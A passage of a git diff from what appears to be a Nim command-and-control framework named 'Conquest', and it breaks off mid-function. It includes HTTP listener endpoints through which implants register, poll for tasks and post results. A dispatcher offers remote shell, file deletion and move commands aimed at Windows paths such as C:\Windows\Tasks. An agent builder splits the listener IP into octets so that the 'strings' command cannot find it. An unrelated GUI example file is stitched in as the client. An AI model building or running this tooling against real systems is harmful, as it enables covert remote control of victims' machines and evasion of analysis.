return "Windows Server 2008"
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
97
src/client/client.nim
Normal file
97
src/client/client.nim
Normal file
@@ -0,0 +1,97 @@
|
||||
# MIT License
|
||||
#
|
||||
# Copyright (c) 2022 Can Joshua Lehmann
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
|
||||
import owlkettle, owlkettle/[playground, adw]
|
||||
|
||||
viewable App:
|
||||
collapsed: bool = false
|
||||
enableHideGesture: bool = true
|
||||
enableShowGesture: bool = true
|
||||
maxSidebarWidth: float = 300.0
|
||||
minSidebarWidth: float = 250.0
|
||||
pinSidebar: bool = false
|
||||
showSidebar: bool = true
|
||||
sidebarPosition: PackType = PackStart
|
||||
widthFraction: float = 0.25
|
||||
widthUnit: LengthUnit = LengthScaleIndependent
|
||||
sensitive: bool = true
|
||||
tooltip: string = ""
|
||||
sizeRequest: tuple[x, y: int] = (-1, -1)
|
||||
|
||||
method view(app: AppState): Widget =
|
||||
result = gui:
|
||||
AdwWindow:
|
||||
defaultSize = (600, 400)
|
||||
|
||||
OverlaySplitView:
|
||||
collapsed = app.collapsed
|
||||
enableHideGesture = app.enableHideGesture
|
||||
enableShowGesture = app.enableShowGesture
|
||||
maxSidebarWidth = app.maxSidebarWidth
|
||||
minSidebarWidth = app.minSidebarWidth
|
||||
pinSidebar = app.pinSidebar
|
||||
showSidebar = app.showSidebar
|
||||
sidebarPosition = app.sidebarPosition
|
||||
widthFraction = app.widthFraction
|
||||
widthUnit = app.widthUnit
|
||||
tooltip = app.tooltip
|
||||
sensitive = app.sensitive
|
||||
sizeRequest = app.sizeRequest
|
||||
|
||||
proc toggle(shown: bool) =
|
||||
echo shown
|
||||
app.showSidebar = shown
|
||||
|
||||
Box:
|
||||
orient = OrientY
|
||||
|
||||
AdwHeaderBar {.expand: false.}:
|
||||
style = HeaderBarFlat
|
||||
|
||||
insert(app.toAutoFormMenu(sizeRequest = (400, 500))){.addRight.}
|
||||
|
||||
Button {.addLeft.}:
|
||||
icon = "sidebar-show-symbolic"
|
||||
style = ButtonFlat
|
||||
|
||||
proc clicked() =
|
||||
app.showSidebar = not app.showSidebar
|
||||
|
||||
Label:
|
||||
text = "Content"
|
||||
style = LabelTitle2
|
||||
|
||||
Box {.addSidebar.}:
|
||||
orient = OrientY
|
||||
spacing = 4
|
||||
|
||||
AdwHeaderBar {.expand: false.}:
|
||||
style = HeaderBarFlat
|
||||
|
||||
WindowTitle {.addTitle.}:
|
||||
title = "Overlay Split View Example"
|
||||
|
||||
Label:
|
||||
text = "Sidebar"
|
||||
style = LabelTitle2
|
||||
|
||||
adw.brew(gui(App()))
|
||||
2
src/client/nim.cfg
Normal file
2
src/client/nim.cfg
Normal file
@@ -0,0 +1,2 @@
|
||||
-d:"adwminor=4"
|
||||
--outdir:"../bin"
|
||||
169
src/server/core/agent.nim
Normal file
169
src/server/core/agent.nim
Normal file
@@ -0,0 +1,169 @@
|
||||
import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams
|
||||
|
||||
import ./taskDispatcher
|
||||
import ../utils
|
||||
import ../db/database
|
||||
import ../../types
|
||||
|
||||
#[
|
||||
Agent management mode
|
||||
These console commands allow dealing with agents from the Conquest framework's prompt interface
|
||||
]#
|
||||
proc agentUsage*(cq: Conquest) =
|
||||
cq.writeLine("""Manage, build and interact with agents.
|
||||
|
||||
Usage:
|
||||
agent [options] COMMAND
|
||||
|
||||
Commands:
|
||||
|
||||
list List all agents.
|
||||
info Display details for a specific agent.
|
||||
kill Terminate the connection of an active listener and remove it from the interface.
|
||||
interact Interact with an active agent.
|
||||
|
||||
Options:
|
||||
-h, --help""")
|
||||
|
||||
# List agents
|
||||
proc agentList*(cq: Conquest, listener: string) =
|
||||
|
||||
# If no argument is passed via -n, list all agents, otherwise only display agents connected to a specific listener
|
||||
if listener == "":
|
||||
cq.drawTable(cq.dbGetAllAgents())
|
||||
|
||||
else:
|
||||
# Check if listener exists
|
||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
cq.drawTable(cq.dbGetAllAgentsByListener(listener.toUpperAscii))
|
||||
|
||||
|
||||
# Display agent properties and details
|
||||
proc agentInfo*(cq: Conquest, name: string) =
|
||||
# Check if agent supplied via -n parameter exists in database
|
||||
if not cq.dbAgentExists(name.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Agent {name.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
let agent = cq.agents[name.toUpperAscii]
|
||||
|
||||
# TODO: Improve formatting
|
||||
cq.writeLine(fmt"""
|
||||
Agent name (UUID): {agent.name}
|
||||
Connected to listener: {agent.listener}
|
||||
──────────────────────────────────────────
|
||||
Username: {agent.username}
|
||||
Hostname: {agent.hostname}
|
||||
Domain: {agent.domain}
|
||||
IP-Address: {agent.ip}
|
||||
Operating system: {agent.os}
|
||||
──────────────────────────────────────────
|
||||
Process name: {agent.process}
|
||||
Process ID: {$agent.pid}
|
||||
Process elevated: {$agent.elevated}
|
||||
First checkin: {agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")}
|
||||
Latest checkin: {agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")}
|
||||
""")
|
||||
|
||||
# Terminate agent and remove it from the database
|
||||
proc agentKill*(cq: Conquest, name: string) =
|
||||
|
||||
# Check if agent supplied via -n parameter exists in database
|
||||
if not cq.dbAgentExists(name.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Agent {name.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
# TODO: Stop the process of the agent on the target system
|
||||
# TODO: Add flag to self-delete executable after killing agent
|
||||
|
||||
|
||||
# Remove the agent from the database
|
||||
if not cq.dbDeleteAgentByName(name.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, "[-] Failed to terminate agent: ", getCurrentExceptionMsg())
|
||||
return
|
||||
|
||||
cq.delAgent(name)
|
||||
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, "Terminated agent ", fgYellow, styleBright, name.toUpperAscii, resetStyle, ".")
|
||||
|
||||
# Switch to interact mode
|
||||
proc agentInteract*(cq: Conquest, name: string) =
|
||||
|
||||
# Verify that agent exists
|
||||
if not cq.dbAgentExists(name.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Agent {name.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
let agent = cq.agents[name.toUpperAscii]
|
||||
var command: string = ""
|
||||
|
||||
# Change prompt indicator to show agent interaction
|
||||
cq.setIndicator(fmt"[{agent.name}]> ")
|
||||
cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
|
||||
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
|
||||
cq.interactAgent = agent
|
||||
|
||||
while command.replace(" ", "") != "back":
|
||||
command = cq.readLine()
|
||||
cq.withOutput(handleAgentCommand, command)
|
||||
|
||||
cq.interactAgent = nil
|
||||
|
||||
# Agent generation
|
||||
proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
||||
|
||||
# Verify that listener exists
|
||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
let listener = cq.listeners[listener.toUpperAscii]
|
||||
|
||||
# Create/overwrite nim.cfg file to set agent configuration
|
||||
let agentConfigFile = fmt"../src/agents/{payload}/nim.cfg"
|
||||
|
||||
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
||||
let (first, second, third, fourth) = parseOctets(listener.address)
|
||||
|
||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||
let config = fmt"""
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="{listener.name}"
|
||||
-d:Octet1="{first}"
|
||||
-d:Octet2="{second}"
|
||||
-d:Octet3="{third}"
|
||||
-d:Octet4="{fourth}"
|
||||
-d:ListenerPort={listener.port}
|
||||
-d:SleepDelay={sleep}
|
||||
""".replace(" ", "")
|
||||
writeFile(agentConfigFile, config)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
|
||||
|
||||
# Build agent by executing the ./build.sh script on the system.
|
||||
let agentBuildScript = fmt"../src/agents/{payload}/build.sh"
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...")
|
||||
|
||||
try:
|
||||
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
|
||||
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
|
||||
let outputStream = process.outputStream
|
||||
|
||||
var line: string
|
||||
while outputStream.readLine(line):
|
||||
cq.writeLine(line)
|
||||
|
||||
let exitCode = process.waitForExit()
|
||||
|
||||
# Check if the build succeeded or not
|
||||
if exitCode == 0:
|
||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Agent payload generated successfully.")
|
||||
else:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode)
|
||||
|
||||
except CatchableError as err:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)
|
||||
|
||||
90
src/server/core/agentApi.nim
Normal file
90
src/server/core/agentApi.nim
Normal file
@@ -0,0 +1,90 @@
|
||||
import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams
|
||||
|
||||
import ../globals
|
||||
import ../db/database
|
||||
import ../../types
|
||||
|
||||
#[
|
||||
Agent API
|
||||
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
|
||||
]#
|
||||
proc register*(agent: Agent): bool =
|
||||
|
||||
# The following line is required to be able to use the `cq` global variable for console output
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
# Check if listener that is requested exists
|
||||
# TODO: Verify that the listener accessed is also the listener specified in the URL
|
||||
# This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database
|
||||
if not cq.dbListenerExists(agent.listener.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
|
||||
return false
|
||||
|
||||
# Store agent in database
|
||||
if not cq.dbStoreAgent(agent):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n")
|
||||
return false
|
||||
|
||||
cq.add(agent)
|
||||
|
||||
let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
|
||||
cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
|
||||
|
||||
return true
|
||||
|
||||
proc getTasks*(listener, agent: string): JsonNode =
|
||||
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
# Check if listener exists
|
||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
|
||||
return nil
|
||||
|
||||
# Check if agent exists
|
||||
if not cq.dbAgentExists(agent.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
|
||||
return nil
|
||||
|
||||
# Update the last check-in date for the accessed agent
|
||||
cq.agents[agent.toUpperAscii].latestCheckin = now()
|
||||
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
|
||||
# return nil
|
||||
|
||||
# Return tasks in JSON format
|
||||
return %cq.agents[agent.toUpperAscii].tasks
|
||||
|
||||
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
|
||||
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
|
||||
if taskResult.status == Failed:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
|
||||
|
||||
if taskResult.data != "":
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
|
||||
|
||||
# Split result string on newline to keep formatting
|
||||
for line in decode(taskResult.data).split("\n"):
|
||||
cq.writeLine(line)
|
||||
else:
|
||||
cq.writeLine()
|
||||
|
||||
else:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
|
||||
|
||||
if taskResult.data != "":
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
|
||||
|
||||
# Split result string on newline to keep formatting
|
||||
for line in decode(taskResult.data).split("\n"):
|
||||
cq.writeLine(line)
|
||||
else:
|
||||
cq.writeLine()
|
||||
|
||||
# Update task queue to include all tasks, except the one that was just completed
|
||||
cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
|
||||
|
||||
return
|
||||
113
src/server/core/endpoints.nim
Normal file
113
src/server/core/endpoints.nim
Normal file
@@ -0,0 +1,113 @@
|
||||
import prologue, nanoid, json
|
||||
import sequtils, strutils, times
|
||||
|
||||
import ./agentApi
|
||||
import ../../types
|
||||
|
||||
proc error404*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
|
||||
#[
|
||||
POST /{listener-uuid}/register
|
||||
Called from agent to register itself to the conquest server
|
||||
]#
|
||||
proc register*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# If POST data is not JSON data, return 404 error code
|
||||
if ctx.request.contentType != "application/json":
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
# The JSON data for the agent registration has to be in the following format
|
||||
#[
|
||||
{
|
||||
"username": "username",
|
||||
"hostname":"hostname",
|
||||
"domain": "domain.local",
|
||||
"ip": "ip-address",
|
||||
"os": "operating-system",
|
||||
"process": "agent.exe",
|
||||
"pid": 1234,
|
||||
"elevated": false.
|
||||
"sleep": 10
|
||||
}
|
||||
]#
|
||||
|
||||
try:
|
||||
let
|
||||
postData: JsonNode = parseJson(ctx.request.body)
|
||||
agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
|
||||
agentUuid: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
|
||||
listenerUuid: string = ctx.getPathParams("listener")
|
||||
date: DateTime = now()
|
||||
|
||||
let agent: Agent = newAgent(agentUuid, listenerUuid, date, agentRegistrationData)
|
||||
|
||||
# Fully register agent and add it to database
|
||||
if not agent.register():
|
||||
# Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
|
||||
# Return a 404 error code either way
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
# If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
|
||||
resp agent.name
|
||||
|
||||
except CatchableError:
|
||||
# JSON data is invalid or does not match the expected format (described above)
|
||||
resp "", Http404
|
||||
|
||||
return
|
||||
|
||||
#[
|
||||
GET /{listener-uuid}/{agent-uuid}/tasks
|
||||
Called from agent to check for new tasks
|
||||
]#
|
||||
proc getTasks*(ctx: Context) {.async.} =
|
||||
|
||||
let
|
||||
listener = ctx.getPathParams("listener")
|
||||
agent = ctx.getPathParams("agent")
|
||||
|
||||
let tasksJson = getTasks(listener, agent)
|
||||
|
||||
# If agent/listener is invalid, return a 404 Not Found error code
|
||||
if tasksJson == nil:
|
||||
resp "", Http404
|
||||
|
||||
# Return all currently active tasks as a JsonObject
|
||||
resp jsonResponse(tasksJson)
|
||||
|
||||
|
||||
#[
|
||||
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
|
||||
Called from agent to post results of a task
|
||||
|
||||
]#
|
||||
proc postResults*(ctx: Context) {.async.} =
|
||||
|
||||
let
|
||||
listener = ctx.getPathParams("listener")
|
||||
agent = ctx.getPathParams("agent")
|
||||
task = ctx.getPathParams("task")
|
||||
|
||||
# Check headers
|
||||
# If POST data is not JSON data, return 404 error code
|
||||
if ctx.request.contentType != "application/json":
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
try:
|
||||
let
|
||||
taskResultJson: JsonNode = parseJson(ctx.request.body)
|
||||
taskResult: TaskResult = taskResultJson.to(TaskResult)
|
||||
|
||||
# Handle and display task result
|
||||
handleResult(listener, agent, task, taskResult)
|
||||
|
||||
except CatchableError:
|
||||
# JSON data is invalid or does not match the expected format (described above)
|
||||
resp "", Http404
|
||||
|
||||
return
|
||||
115
src/server/core/listener.nim
Normal file
115
src/server/core/listener.nim
Normal file
@@ -0,0 +1,115 @@
|
||||
import strformat, strutils, sequtils, nanoid, terminal
|
||||
import prologue
|
||||
|
||||
import ./endpoints
|
||||
import ../utils
|
||||
import ../db/database
|
||||
import ../../types
|
||||
|
||||
proc listenerUsage*(cq: Conquest) =
|
||||
cq.writeLine("""Manage, start and stop listeners.
|
||||
|
||||
Usage:
|
||||
listener [options] COMMAND
|
||||
|
||||
Commands:
|
||||
|
||||
list List all active listeners.
|
||||
start Starts a new HTTP listener.
|
||||
stop Stop an active listener.
|
||||
|
||||
Options:
|
||||
-h, --help""")
|
||||
|
||||
proc listenerList*(cq: Conquest) =
|
||||
let listeners = cq.dbGetAllListeners()
|
||||
cq.drawTable(listeners)
|
||||
|
||||
proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
||||
|
||||
# Validate arguments
|
||||
if not validatePort(portStr):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Invalid port number: {portStr}")
|
||||
return
|
||||
|
||||
let port = portStr.parseInt
|
||||
|
||||
# Create new listener
|
||||
let
|
||||
name: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
|
||||
listenerSettings = newSettings(
|
||||
appName = name,
|
||||
debug = false,
|
||||
address = "", # For some reason, the program crashes when the ip parameter is passed to the newSettings function
|
||||
port = Port(port) # As a result, I will hardcode the listener to be served on all interfaces (0.0.0.0) by default
|
||||
) # TODO: fix this issue and start the listener on the address passed as the HOST parameter
|
||||
|
||||
var listener = newApp(settings = listenerSettings)
|
||||
|
||||
# Define API endpoints
|
||||
listener.post("{listener}/register", endpoints.register)
|
||||
listener.get("{listener}/{agent}/tasks", endpoints.getTasks)
|
||||
listener.post("{listener}/{agent}/{task}/results", endpoints.postResults)
|
||||
listener.registerErrorHandler(Http404, endpoints.error404)
|
||||
|
||||
# Store listener in database
|
||||
var listenerInstance = newListener(name, host, port)
|
||||
if not cq.dbStoreListener(listenerInstance):
|
||||
return
|
||||
|
||||
# Start serving
|
||||
try:
|
||||
discard listener.runAsync()
|
||||
cq.add(listenerInstance)
|
||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.")
|
||||
except CatchableError as err:
|
||||
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
|
||||
|
||||
proc restartListeners*(cq: Conquest) =
|
||||
let listeners: seq[Listener] = cq.dbGetAllListeners()
|
||||
|
||||
# Restart all active listeners that are stored in the database
|
||||
for l in listeners:
|
||||
let
|
||||
settings = newSettings(
|
||||
appName = l.name,
|
||||
debug = false,
|
||||
address = "",
|
||||
port = Port(l.port)
|
||||
)
|
||||
listener = newApp(settings = settings)
|
||||
|
||||
# Define API endpoints
|
||||
listener.post("{listener}/register", endpoints.register)
|
||||
listener.get("{listener}/{agent}/tasks", endpoints.getTasks)
|
||||
listener.post("{listener}/{agent}/{task}/results", endpoints.postResults)
|
||||
listener.registerErrorHandler(Http404, endpoints.error404)
|
||||
|
||||
try:
|
||||
discard listener.runAsync()
|
||||
cq.add(l)
|
||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.")
|
||||
except CatchableError as err:
|
||||
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
|
||||
|
||||
# Delay before starting serving another listener to avoid crashing the application
|
||||
waitFor sleepAsync(10)
|
||||
|
||||
cq.writeLine("")
|
||||
|
||||
# Remove listener from database, preventing automatic startup on server restart
|
||||
proc listenerStop*(cq: Conquest, name: string) =
|
||||
|
||||
# Check if listener supplied via -n parameter exists in database
|
||||
if not cq.dbListenerExists(name.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {name.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
# Remove database entry
|
||||
if not cq.dbDeleteListenerByName(name.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, "[-] Failed to stop listener: ", getCurrentExceptionMsg())
|
||||
return
|
||||
|
||||
cq.delListener(name)
|
||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Stopped listener ", fgGreen, name.toUpperAscii, resetStyle, ".")
|
||||
|
||||
264
src/server/core/taskDispatcher.nim
Normal file
264
src/server/core/taskDispatcher.nim
Normal file
@@ -0,0 +1,264 @@
|
||||
import argparse, times, strformat, terminal, nanoid, tables, json, sequtils
|
||||
import ../../types
|
||||
|
||||
#[
|
||||
Agent Argument parsing
|
||||
]#
|
||||
proc initAgentCommands*(): Table[CommandType, Command] =
|
||||
var commands = initTable[CommandType, Command]()
|
||||
|
||||
commands[ExecuteShell] = Command(
|
||||
name: "shell",
|
||||
commandType: ExecuteShell,
|
||||
description: "Execute a shell command and retrieve the output.",
|
||||
example: "shell whoami /all",
|
||||
arguments: @[
|
||||
Argument(name: "command", description: "Command to be executed.", argumentType: String, isRequired: true),
|
||||
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: String, isRequired: false)
|
||||
]
|
||||
)
|
||||
|
||||
commands[Sleep] = Command(
|
||||
name: "sleep",
|
||||
commandType: Sleep,
|
||||
description: "Update sleep delay configuration.",
|
||||
example: "sleep 5",
|
||||
arguments: @[
|
||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: Int, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[GetWorkingDirectory] = Command(
|
||||
name: "pwd",
|
||||
commandType: GetWorkingDirectory,
|
||||
description: "Retrieve current working directory.",
|
||||
example: "pwd",
|
||||
arguments: @[]
|
||||
)
|
||||
|
||||
commands[SetWorkingDirectory] = Command(
|
||||
name: "cd",
|
||||
commandType: SetWorkingDirectory,
|
||||
description: "Change current working directory.",
|
||||
example: "cd C:\\Windows\\Tasks",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[ListDirectory] = Command(
|
||||
name: "ls",
|
||||
commandType: ListDirectory,
|
||||
description: "List files and directories.",
|
||||
example: "ls C:\\Users\\Administrator\\Desktop",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: String, isRequired: false)
|
||||
]
|
||||
)
|
||||
|
||||
commands[RemoveFile] = Command(
|
||||
name: "rm",
|
||||
commandType: RemoveFile,
|
||||
description: "Remove a file.",
|
||||
example: "rm C:\\Windows\\Tasks\\payload.exe",
|
||||
arguments: @[
|
||||
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[RemoveDirectory] = Command(
|
||||
name: "rmdir",
|
||||
commandType: RemoveDirectory,
|
||||
description: "Remove a directory.",
|
||||
example: "rm C:\\Payloads",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[Move] = Command(
|
||||
name: "move",
|
||||
commandType: Move,
|
||||
description: "Move a file or directory.",
|
||||
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[Copy] = Command(
|
||||
name: "copy",
|
||||
commandType: Copy,
|
||||
description: "Copy a file or directory.",
|
||||
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
return commands
|
||||
|
||||
let commands = initAgentCommands()
|
||||
|
||||
proc getCommandFromTable(cmd: string, commands: Table[CommandType, Command]): (CommandType, Command) =
|
||||
let commandType = parseEnum[CommandType](cmd.toLowerAscii())
|
||||
let command = commands[commandType]
|
||||
(commandType, command)
|
||||
|
||||
proc parseAgentCommand(input: string): seq[string] =
|
||||
var i = 0
|
||||
while i < input.len:
|
||||
|
||||
# Skip whitespaces/tabs
|
||||
while i < input.len and input[i] in {' ', '\t'}:
|
||||
inc i
|
||||
if i >= input.len:
|
||||
break
|
||||
|
||||
var arg = ""
|
||||
if input[i] == '"':
|
||||
# Parse quoted argument
|
||||
inc i # Skip opening quote
|
||||
|
||||
# Add parsed argument when quotation is closed
|
||||
while i < input.len and input[i] != '"':
|
||||
arg.add(input[i])
|
||||
inc i
|
||||
|
||||
if i < input.len:
|
||||
inc i # Skip closing quote
|
||||
|
||||
else:
|
||||
while i < input.len and input[i] notin {' ', '\t'}:
|
||||
arg.add(input[i])
|
||||
inc i
|
||||
|
||||
# Add argument to returned result
|
||||
if arg.len > 0: result.add(arg)
|
||||
|
||||
|
||||
proc displayHelp(cq: Conquest, commands: Table[CommandType, Command]) =
|
||||
cq.writeLine("Available commands:")
|
||||
cq.writeLine(" * back")
|
||||
for key, cmd in commands:
|
||||
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
|
||||
cq.writeLine()
|
||||
|
||||
proc displayCommandHelp(cq: Conquest, command: Command) =
|
||||
var usage = command.name & " " & command.arguments.mapIt(
|
||||
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
|
||||
).join(" ")
|
||||
|
||||
if command.example != "":
|
||||
usage &= "\nExample : " & command.example
|
||||
|
||||
cq.writeLine(fmt"""
|
||||
{command.description}
|
||||
|
||||
Usage : {usage}
|
||||
""")
|
||||
|
||||
if command.arguments.len > 0:
|
||||
cq.writeLine("Arguments:")
|
||||
|
||||
let header = @["Name", "Type", "", "Description"]
|
||||
cq.writeLine(fmt" {header[0]:<15} {header[1]:<8}{header[2]:<10} {header[3]}")
|
||||
cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(18)} {'-'.repeat(20)}")
|
||||
|
||||
for arg in command.arguments:
|
||||
let requirement = if arg.isRequired: "(REQUIRED)" else: "(OPTIONAL)"
|
||||
cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<8}{requirement:<10} {arg.description}")
|
||||
|
||||
cq.writeLine()
|
||||
|
||||
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[CommandType, Command]) =
|
||||
try:
|
||||
# Try parsing the first argument passed to 'help' as a command
|
||||
let (commandType, command) = getCommandFromTable(parsed[1], commands)
|
||||
cq.displayCommandHelp(command)
|
||||
except IndexDefect:
|
||||
# 'help' command is called without additional parameters
|
||||
cq.displayHelp(commands)
|
||||
except ValueError:
|
||||
# Command was not found
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
|
||||
|
||||
proc packageArguments(cq: Conquest, command: Command, arguments: seq[string]): JsonNode =
|
||||
|
||||
# Construct a JSON payload with argument names and values
|
||||
result = newJObject()
|
||||
let parsedArgs = if arguments.len > 1: arguments[1..^1] else: @[] # Remove first element from sequence to only handle arguments
|
||||
|
||||
# Check if the correct amount of parameters are passed
|
||||
